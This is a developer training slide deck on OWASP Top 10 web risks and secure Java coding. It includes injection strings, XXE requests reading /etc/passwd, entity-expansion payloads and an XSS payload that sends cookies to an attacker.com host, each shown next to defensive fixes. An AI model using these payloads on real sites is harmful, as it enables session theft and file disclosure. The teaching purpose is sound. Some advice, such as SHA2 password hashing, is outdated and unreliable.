Escolar Documentos
Profissional Documentos
Cultura Documentos
Requirements
Agenda
Overview
Information leakage and improper error handling
Cross Site Scripting (XSS)
Injection Flaws
Malicious File Execution
Insecure Direct Object References
Cross Site Request Forgery (CSRF)
Failure to Restrict URL Access
Broken Authentication and Session Management
XML External Entity (XXE)
Insecure Deserialization
Logging and Monitoring
Overview
PCI DSS is a security standard that includes
requirements for:
security management,
policies,
procedures,
network architecture,
software design and other critical protective measures
PCI DSS purpose: to help the organizations to protect
customer account data.
This session doesn’t cover all the security
requirements.
This session covers only what has impact on our
code.
OWASP Top 10
OWASP top 10 educates developers,
designers, managers, and organizations
about the most important security risks.
OWASP top 10 provides basic techniques
to protect against the high risk security
problems.
- Information leakage and
improper error handling
Providingtoo much information to the
user when an error occurs.
Examples:
An error message with too much detail
Stack trace
Failed SQL statement
ex: DbException: Syntax error (missing operator) in query
expression 'username = ''' and password = 'g''.
- Information leakage and
improper error handling
Recommendation:
Write detailed error information to secure
Log.
Configure an exception handler in the
web.xml for all un-handled exceptions
<error-page>
<exception-
type>java.lang.Throwable</exception-type>
<location>/error.jsp</location>
</error-page>
OWASP Top 10 - Injection
Injection flows, such as SQL, OS, Xpath, and LDAP
injection occur when untrusted data is sent to an
interpreter.
This data can trick the interpreter to execute
unintended commands or accessing unauthorized
data.
Threat Agents: anyone who can send data to the
system.
Exploitability: Easy
Prevalence: Common
Detectability: Average
Impact: Severe
OWASP Top 10 - Injection
SQL Injection Example:
String sqlString = "SELECT * FROM users WHERE fullname
= '" + form.getFullName() + "' AND password = '" +
form.getPassword() + "'";
Case 1: full name: stspayone, password: 123pass
Result: SELECT * FROM users WHERE username =
‘stspayone' AND password = '123pass'
Case 2: full name: Ala' Ahmad, password: 123pass
Result: SELECT * FROM users WHERE username = 'Ala'
Ahmad' AND password = ‘13pass'
Case 3: full name: Ahmad, password: ' OR '1' = '1
Result: SELECT * FROM users WHERE username = ‘Ahmad'
AND password = '' OR '1' = '1'
OWASP Top 10 - Injection
XPath Injection Example:
XML file:
<?xml version="1.0" encoding="utf-8"?>
<employees>
<employee id="AS1" firstname="John" salary=“100"/>
<employee id="AS2" firstname=“Adam“ salary=“200"/>
</employees>
XPATH expression: String exp =
“/employees/employee[@id=‘”+form.getEID()+”']”
User Input: Emp_ID=‘ or '1'='1
Result: /employees/employee[@id=‘‘ or '1'='1']
OWASP Top 10 - Injection
Injection Protection:
The preferred option is to use a safe API which
provides a parameterized interface.
String stmt = “select * from emp where id=?”;
PreparedStatement pstmt = con.prepareStatement(stmt);
pstmt.setString(1, empId);
If a parameterized API is not available, escape the
special characters.
String exp = “/employees/employee[@id=‘”+
ESAPI.encoder().encodeForXPath(form.getEID())+
”']”
If special characters are not required in the input, then
the white-list validation is also recommended.
OWASP Top 10 - Injection
References:
https://www.owasp.org/index.php/SQL_Inje
ction_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Query_P
arameterization_Cheat_Sheet
https://www.owasp.org/index.php/Comma
nd_Injection
https://www.owasp.org/index.php/Testing_f
or_SQL_Injection_(OWASP-DV-005)
OWASP Top 10 - Broken
Authentication and Session
Management
Functions related to authentication and session
management are often not implemented
correctly.
Allow attackers to compromise passwords, keys, or
session tokens.
Threat Agents: anyone who may attempt to steal
accounts from others to impersonate them.
Exploitability: Average
Prevalence: Widespread
Detectability: Average
Impact: Severe
OWASP Top 10 - Broken
Authentication and Session
Management
Broken Authentication Examples:
Application supports URL re-writing, putting session
IDs in the URL:
http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV
if an authenticated user emailed the above link to his
friends to see the sale, he will give also his session ID.
Application’s timeout aren’t set properly. User uses
a public computer to access a site and forgot to
logout.
User passwords are not hashed and internal
attacker gains access to the password database.
OWASP Top 10 - Broken
Authentication and Session
Management
Session Management Examples:
Session Hijacking attacks compromises the session
token by stealing or predicting a valid session ID to
gain unauthorized access.
Session ID can be compromised in different ways:
If application generates predictable session IDs (For
example using sequencer).
Session Sniffing (Session sidejacking)
XSS
Man in the middle attack
Man in the browser attack
Session fixation
OWASP Top 10 - Broken
Authentication and Session
Management
Session Management Examples:
Session Sniffing:
OWASP Top 10 - Broken
Authentication and Session
Management
Session Management Examples:
XSS:
<SCRIPT>alert(document.cookie);</SCRIPT>
OWASP Top 10 - Broken
Authentication and Session
Management
Session Management Examples:
Man in the middle attack:
The attacker acts as a proxy, being able to read, insert
and modify the data in the intercepted communication.
OWASP Top 10 - Broken
Authentication and Session
Management
Session Management Examples:
Man in the browser attack:
The Man-in-the-Browser attack is the same approach as
Man-in-the-middle attack, but in this case a Trojan Horse
is used to intercept and manipulate calls between the
main application’s executable (ex: the browser) and its
security mechanisms or libraries on-the-fly.
OWASP Top 10 - Broken
Authentication and Session
Management
OWASP Top 10 - Broken
Authentication and Session
Management
Authentication Recommendations:
Implement Proper Password Policy:
Minimum length should be enforced by application;
shorter than 10 characters considered weak.
Application should enforce password complexity; at least
1 upper case char, at least 1 lowercase char, at least 1
digit and at least 1 special char.
Changing password should be EASY.
Store Passwords hashed using strong algorithm (SHA2).
Transmit passwords only over TLS.
Require Re-authentication for sensitive requests (This also
protect against XSS and CSRF attacks)
for example: shipping a purchase requests.
OWASP Top 10 - Broken
Authentication and Session
Management
More Authentication Recommendation:
Application must respond to failed login with generic
message;
“Login Failed; Invalid UserID or password”
Application must prevent Brute-Force Attacks (prevent
attacker to guess a password);
Account must be locked out if more than a preset
number of failed logins are made.
Use a single authentication point.
Password must not be exposed in URL or hidden field.
Password autocomplete should always be disabled.
<INPUT TYPE="password" AUTOCOMPLETE="off">
<form … AUTOCOMPLETE="off">
OWASP Top 10 - Broken
Authentication and Session
Management
Session Protection Recommendations:
It is recommended to use JEE built-in session management.
request.getSession();
Transmit session IDs only over TLS
Use Cookies for session ID exchange with following attributes:
Secure Attribute; instruct the browser to only send session Id over
HTTPS
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Secure
HTTPOnly Attribute; instruct the browser not to allow malicious
scripts to access the cookies.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;HTTPOnly
Domain and Path attributes; instruct the browser to only send the
cookie to the specified domain and all sub-domains.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Domain=docs.foo.com;Path=/
accounts;
OWASP Top 10 - Broken
Authentication and Session
Management
More Session Protection Recommendations:
Invalidate the Session ID after any privilege level change
for the associated user.
session.invalidate();
The session ID regeneration is mandatory to prevent
session fixation attacks.
Set Session timeout:
2-5 minutes for high-value applications
15-30 minutes for low-value applications
<web-app ...>
<session-config>
<session-timeout>20</session-timeout>
</session-config>
</web-app>
OWASP Top 10 - Broken
Authentication and Session
Management
More Session Protection Recommendations:
Force session logout on browser close event
using javascript
window.addEventListener('unload', function()
{
var xhr = new XMLHttpRequest();
xhr.open('GET', ‘Logout.jsp', false);
xhr.send(null);
}, false);
Prevent simultaneous logons.
OWASP Top 10 - Broken
Authentication and Session
Management
Detection:
User credentials aren’t stored securely.
Session IDs/Passwords are exposed in the URL.
Session IDs/Passwords are exposed in hidden fields.
Session IDs don’t timeout.
Session IDs aren’t properly invalidated during logout.
Session IDs aren’t rotated after successful login (this is
required to prevent session fixation).
Passwords and session IDs are sent over unencrypted
connections.
No lockout mechanism is implemented.
Browser offers to remember any account credentials.
Password is printed clear in the system logs.
OWASP Top 10 - Broken
Authentication and Session
Management
References:
https://www.owasp.org/index.php/Authenti
cation_Cheat_Sheet
https://www.owasp.org/index.php/Session_
Management_Cheat_Sheet
OWASP Top 10 – Cross-Site
Scripting (XSS)
XSS occur whenever an application takes untrusted
data and sends it to browser without proper
validation or escaping.
XSS allows attackers to execute scripts in the
victim’s browser which can hijack user sessions or
redirect the user to malicious sites.
Threat Agents: anyone who can send untrusted
data to the system.
Exploitability: Average
Prevalence: Very Widespread
Detectability: Easy
Impact: Moderate
OWASP Top 10 – Cross-Site
Scripting (XSS)
Types of XSS:
1.1 Stored XSS (AKA Persistent or Type I)
1.2 Reflected XSS (AKA Non-Persistent or Type II)
1.3 DOM Based XSS (AKA Type-0)
DOM Based XSS (or as it is called in some texts, “type-0
XSS”) is an XSS attack wherein the attack payload is
executed as a result of modifying the DOM
“environment” in the victim’s browser used by the
original client side script, so that the client side code runs
in an “unexpected” manner. That is, the page itself (the
HTTP response that is) does not change, but the client
side code contained in the page executes differently
due to the malicious modifications that have occurred in
the DOM environment
OWASP Top 10 – Cross-Site
Scripting (XSS)
OWASP Top 10 – Cross-Site
Scripting (XSS)
http://www.some.site/page.html?default=French
http://www.some.site/page.html?default=<script>alert(docum
ent.cookie)</script>
When the victim clicks on this link, the browser sends a request
for:
/page.html?default=<script>alert(document.cookie)</script>
OWASP Top 10 – Cross-Site
Scripting (XSS)
Examples:
Application uses untrusted data in the
construction of HTML response:
(String) page += "<input name='creditcard'
type='TEXT‘ value='" + request.getParameter("CC") +
"'>";
The attacker modifies the ‘CC’ parameter in his
browser to:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
References:
https://www.owasp.org/index.php/XSS_(Cross_Si
te_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Cross-
site_Scripting_(XSS)
http://owasp-esapi-
java.googlecode.com/svn/trunk_doc/latest/or
g/owasp/esapi/Encoder.html
https://www.owasp.org/index.php/AntiSamy
https://www.owasp.org/index.php/Content_Se
curity_Policy
OWASP Top 10 – Insecure
Direct Object References
DOR occurs when a reference is exposed to an
internal object, such as:
Directory, file, database key.
Without proper protection attacker can
manipulate these references to access
unauthorized data.
Threat Agents: authorized user who has partial
access to certain functions.
Exploitability: Easy
Prevalence: Common
Detectability: Easy
Impact: Moderate
OWASP Top 10 – Insecure
Direct Object References
Examples:
The application uses unverified data in a SQL call
that is accessing account information:
String query = "SELECT * FROM accts WHERE account =
?";
PreparedStatement pstmt =
connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
Request:
POST http://example.com/xml HTTP/1.1
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World">
]>
<foo>
Hello &bar;
</foo>
Response
HTTP/1.0 200 OK
Hello World
XXE (XML External Entity)
Examples:
Request:
POST http://example.com/xml HTTP/1.1
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World ">
<!ENTITY t1 "&bar;&bar;">
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
Hello &t3;
</foo>
XXE (XML External Entity)
Examples:
Response:
HTTP/1.0 200 OK
Request:
POST http://example.com/xml HTTP/1.1
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"file:///etc/passwd">
]>
<foo>
&bar;
</foo>
XXE (XML External Entity)
Examples:
Response:
HTTP/1.0 200 OK
12345678
XXE (XML External Entity)
Recommendations:
Whenever possible, use less complex data formats
such as JSON, and avoiding serialization of sensitive
data.
Upgrade all XML processors and libraries in use by the
application or on the underlying operating system.
Update SOAP to SOAP 1.2 or higher.
Disable XML external entity and DTD processing in all
XML parsers in the application as per the OWASP
Cheat Sheet ‘XXE Prevention’.
Implementing positive (“whitelisting”) server side input
validation, filtering, or sanitization to prevent hostile
data within XML documents.
SAST tools can help detect XXE in source code,
although manual code review is the best alternative
in large, complex applications with may integrations.
XXE (XML External Entity)
References:
OWASP Application Security Verification
Standard
Testing for XML Injection
XML External Entity (XXE) Processing
XML External Entity (XXE) Prevention
Cheat Sheet
XML Security Cheat Sheet
Insecure Deserialization
Serialization is the process of turning some object
into a data format that can be restored later.
People often serialize objects in order to save
them to storage, or to send as part of
communications. Deserialization is the reverse of
that process -- taking data structured from some
format, and rebuilding it into an object. Today,
the most popular data format for serializing data
is JSON. Before that, it was XML.
applications and APIs will be vulnerable if they
desterilize hostile or tampered objects supplied
by an attacker.
Insecure Deserialization
Examples:
Public class DangerousToy implements Serializable {
Private String command;
----
Recommendations:
private final void readObject (ObjectInputStream in)
throws java.io.IOException {
throw new java.io.IOException ("Cannot be
deserialized");
}
Recommendations:
The general idea is to override
ObjectInputStream.html#resolveClass() in order to restrict
which classes are allowed to be deserialized. Because this
call happens before a readObject() is called, you can be
sure that no deserialization activity will occur unless the
type is one that you wish to allow.
Insecure Deserialization
Recommendations:
public class LookAheadObjectInputStream extends ObjectInputStream {
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException( "Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
Insecure Deserialization
References:
Deserialization Cheat Sheet
OWASP Proactive Controls
OWASP Application Security Verification Standard
Surviving the Java Deserialization Apocalypse
Friday the 13th: JSON Attacks
Insufficient Logging &
Monitoring
Insufficient
logging, detection, monitoring and
active response occurs any time:
Ensure all login, access control failures, and server side input validation
failures can be logged with sufficient user context to identify suspicious or
malicious accounts, and held for sufficient time to allow delayed
forensic analysis.
Ensure that logs are generated in a format that can be easily consumed.
Ensure high level transactions have an audit trail with integrity controls to
prevent tampering or deletion, such as append only database tables.
References:
OWASP Cheat Sheet: Logging
Useful HTTP Response Headers
Header Description Example
Name
Strict- Force every browser request to Strict-
Transport- be sent over TLS/SSL Transport-
Security Security:
max-
age=86400
00;
includeSub
Domains
X-Frame- Provides Clickjacking protection X-Frame-
Options Options:
deny
Useful HTTP Response Headers
Header Description Example
Name
X-XSS- This header enables the Cross- X-XSS-
Protection site scripting (XSS) filter built into Protection:
most recent web browsers. It's 1;
usually enabled by default mode=blo
anyway, so the role of this ck
header is to re-enable the filter
for this particular website if it
was disabled by the user.
X-Content- The only defined value, "nosniff", X-Content-
Type- prevents Internet Explorer and Type-
Options Google Chrome from MIME- Options:
sniffing a response away from nosniff
the declared content-type.
Useful HTTP Response Headers
Header Description Example
Name
X-WebKit- CSP prevents a wide range of X-WebKit-
CSP attacks, including Cross-site CSP:
scripting and other cross-site default-src
injections. 'self'
Useful HTTP Response Headers
Sample response from google.com:
cache-control:private, max-age=0
content-encoding:gzip
content-type:text/html; charset=UTF-8
date:Wed, 05 Mar 2014 11:21:10 GMT
expires:-1
set-cookie:PREF=ID=3bb418586446f822; expires=Fri, 04-
Mar-2016 11:21:10 GMT; path=/; domain=.google.com
x-frame-options:SAMEORIGIN
x-xss-protection:1; mode=block
References
ZAPTOOL Tutorial:
https://www.youtube.com/watch?v=cR4
gw-cPZOA